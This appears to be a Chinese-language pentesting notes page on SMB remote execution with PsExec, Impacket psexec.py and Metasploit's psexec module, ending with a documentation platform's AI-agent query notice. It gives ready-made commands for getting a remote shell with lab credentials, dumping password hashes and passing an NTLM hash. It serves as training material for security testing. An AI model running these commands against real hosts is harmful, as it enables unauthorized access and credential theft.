> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/psexec-smb-tool.md).
# PsExec（SMB 工具）
使用 PsExec、Impacket psexec.py、Metasploit 和 Pass-the-Hash 进行 SMB 远程命令执行。
> **PsExec** 是 Microsoft Sysinternals 套件中的一个工具，用于在 Windows 计算机上远程运行命令或程序。它允许对远程主机进行交互式或后台访问，通常具有提升的权限，而无需物理连接或使用 RDP 客户端。这对于网络管理、安全测试或任务自动化特别有用。
如果出现以下消息：
> “已启用签名但非必需”
* 这意味着认证可以在不进行签名验证的情况下发生。可能存在不安全通信，从而使与认证相关的滥用成为可能。
### **PsExec.py**
下面是一个以管理员权限获取交互式 shell 的示例命令：
```bash
psexec.py /:@ cmd.exe
```
```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```
### **远程执行命令**
允许你直接在远程机器上启动命令或脚本，而无需打开用户会话。
```bash
psexec // -u -p
```
```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```
### **远程文件上传**
PsExec 允许你在执行之前将本地文件复制到远程机器上。
```bash
psexec // -c
```
```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```
## Metasploit
**使用 Metasploit 利用 PsExec 攻击 SMB**
1. 使用以下模块启动 Metasploit： **exploit module/windows/smb/psexec** :
```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```
成功获取访问权限后，可以“导出”密码哈希：
```bash
hashdump
```
### **哈希传递 - PsExec**
PsExec 也可通过提供 NTLM 哈希而不是密码来用于哈希传递。如果该哈希属于具有特权的账户，这可以提供管理员访问权限：
```bash
psexec.py /@ -hashes :
```
```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/psexec-smb-tool.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)